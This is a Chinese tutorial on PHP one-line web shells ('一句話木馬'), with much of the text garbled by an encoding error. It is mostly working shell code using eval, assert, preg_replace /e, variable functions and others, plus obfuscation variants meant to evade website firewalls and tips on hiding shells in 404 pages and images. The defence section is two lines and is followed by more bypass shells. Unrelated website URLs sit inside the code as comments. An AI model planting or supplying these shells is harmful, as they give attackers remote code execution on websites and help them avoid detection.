一、什么是一句話木馬?
一句話木馬就是只需要一行代碼的木馬,短短一行代碼,就能做到和大馬相當(dāng)?shù)墓δ?。為了繞過waf的檢測(cè),一句話木馬出現(xiàn)了無數(shù)中變形,但本質(zhì)是不變的:木馬的函數(shù)執(zhí)行了我們發(fā)送的命令。
二、我們?nèi)绾伟l(fā)送命令,發(fā)送的命令如何執(zhí)行?
我們可以通過 GET、POST、COOKIE這三種方式向一個(gè)網(wǎng)站提交數(shù)據(jù),一句話木馬用 $_GET[' ']、$_POST[' ']、$_COOKIE[' ']接收我們傳遞的數(shù)據(jù),并把接收的數(shù)據(jù)傳遞給一句話木馬中執(zhí)行命令的函數(shù),進(jìn)而執(zhí)行命令。 所以看到的經(jīng)典一句話木馬大多都是只有兩個(gè)部分,一個(gè)是可以執(zhí)行代碼的函數(shù)部分,一個(gè)是接收數(shù)據(jù)的部分。
0.eval函數(shù)
<?php eval($_POST['a']) ?>
其中eval就是執(zhí)行命令的函數(shù),**$_POST['a’]**就是接收的數(shù)據(jù)。eval函數(shù)把接收的數(shù)據(jù)當(dāng)作PHP代碼來執(zhí)行。這樣我們就能夠讓插入了一句話木馬的網(wǎng)站執(zhí)行我們傳遞過去的任意PHP語句。這便是一句話木馬的強(qiáng)大之處。
因?yàn)槟抉R是接收post請(qǐng)求中 “a” 的數(shù)據(jù)( $_POST['a’]),所以我們必須以post方法發(fā)送數(shù)據(jù)并且將我們要執(zhí)行的代碼賦值給“a”。如果把木馬中的post替換成get,那么我么就需要以GET方法發(fā)送“a”,
使用 其他函數(shù)制作一句話木馬
1.assert函數(shù)
<?php assert(@$_POST['a']); ?>
2.create_function函數(shù)
<?php
// https://www.bz80.vip
$fun = create_function('',$_POST['a']);
$fun();
?>
把用戶傳遞的數(shù)據(jù)生成一個(gè)函數(shù)fun(),然后再執(zhí)行fun()
3. call_user_func回調(diào)函數(shù)
<?php
// https://www.bz80.com
@call_user_func(assert,$_POST['a']);
?>
call_user_func這個(gè)函數(shù)可以調(diào)用其它函數(shù),被調(diào)用的函數(shù)是call_user_func的第一個(gè)函數(shù),被調(diào)用的函數(shù)的參數(shù)是call_user_func的第二個(gè)參數(shù)。
這樣的一個(gè)語句也可以完成一句話木馬。一些被waf攔截的木馬可以配合這個(gè)函數(shù)繞過waf。
4.preg_replace函數(shù)
<?php
// https://www.woailunwen.com
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>
這個(gè)函數(shù)原本是利用正則表達(dá)式替換符合條件的字符串,但是這個(gè)函數(shù)有一個(gè)功能——可執(zhí)行命令。
這個(gè)函數(shù)的第一個(gè)參數(shù)是正則表達(dá)式,按照PHP的格式,表達(dá)式在兩個(gè)“/”之間。如果我們?cè)谶@個(gè)表達(dá)式的末尾加上“e”,那么這個(gè)函數(shù)的第二個(gè)參數(shù)就會(huì)被當(dāng)作代碼執(zhí)行。
5. file_put_contents函數(shù)
利用函數(shù)生成木馬
<?php
// https://www.2017549.com
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>
函數(shù)功能:生成一個(gè)文件,第一個(gè)參數(shù)是文件名,第二個(gè)參數(shù)是文件的內(nèi)容。
6.array數(shù)組
<?php
// https://www.sanweie.com
$a='assert';
array_map("$a",$_REQUEST);
?>
上述定義參數(shù)a并賦值'assert’,利用array_map()函數(shù)將執(zhí)行語句進(jìn)行拼接。最終實(shí)現(xiàn)assert($_REQUEST)。
<?php
$item['JON']='assert';
$array[]=$item;
$array[0]['JON']($_POST["TEST"]);
?>
利用函數(shù)的組合效果,使得多個(gè)參數(shù)在傳遞后組合成一段命令并執(zhí)行。
7.PHP變量函數(shù)
<?php
$a = "eval";
$a(@$_POST['a']);
?>
第三行使用了變量函數(shù)$a,變量?jī)?chǔ)存了函數(shù)名eval,便可以直接用變量替代函數(shù)名。
三、如何讓一句話木馬繞過waf ?
waf是網(wǎng)站的防火墻,例如安全狗就是waf的一種。waf通常以關(guān)鍵字判斷是否為一句話木馬,但是一句話木馬的變形有很多種,waf根本不可能全部攔截。想要繞過waf,需要掌握各種PHP小技巧,掌握的技巧多了,把技巧結(jié)合起來,設(shè)計(jì)出屬于自己的一句話木馬。
2.PHP可變變量
<?php
$bb="eval";
$aa="bb";
$$aa($_POST['a']);
?>
看這句就能理解上述語句:$$aa = ( ((aa) = $ ('bb’) = $bb = “eval”
3.str_replace函數(shù)
<?php
$a=str_replace("Waldo", "", "eWaldoval");
$a(@$_POST['a']);
?>
函數(shù)功能:在第三個(gè)參數(shù)中,查找第一個(gè)參數(shù),并替換成第二個(gè)參數(shù)。這里第二個(gè)參數(shù)為空字符串,就相當(dāng)于刪除"Waldo"。
4. base64_decode函數(shù)
<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>
這里是base64解密函數(shù),"ZXZhbA=="是eval的base64加密。
5."."操作符
<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>
6.parse_str函數(shù)
<?php
// https://www.ning8.cn
$str="a=eval";
parse_str($str);
$a($_POST['a']);
?>
執(zhí)行這個(gè)函數(shù)后,生成一個(gè)變量$a,值為字符串"eval"
7.更換數(shù)據(jù)來源
7.1GET篇
<?php $_GET[a]($_GET[b]); ?>
<?php @eval( $_GET[$_GET[b]])>
利用方法:
b=cmd&cmd=phpinfo()
7.2利用script代替<? 、?>標(biāo)簽
<script language="php">@eval_r($_GET[b])</script>
7.3利用session
8.字符替換或特殊編碼
9.木馬藏匿
1.404頁面
2.圖片木馬,用文件包含調(diào)用
四、總結(jié)
繞過技巧:
更換執(zhí)行數(shù)據(jù)來源
字符替換或者編碼
采取隱匿手段
tips:使用一句話木馬的時(shí)候可以在函數(shù)前加”@”符,這個(gè)符號(hào)讓php語句不顯示錯(cuò)誤信息,增加隱蔽性。
五、防御
1.禁用assert()函數(shù),監(jiān)控eval()
2.搜索日志的assert。
亦可能繞過:
<?php
// https://www.bang4.cn
$c=$_GET[n].'t';
@$c($_POST[cmd]);
?>
<?php
// https://www.ning9.com
$c=base64_decode('YXNzZXI=').$_GET[n].'t';
@$c($_POST[cmd]);
?>
聯(lián)系客服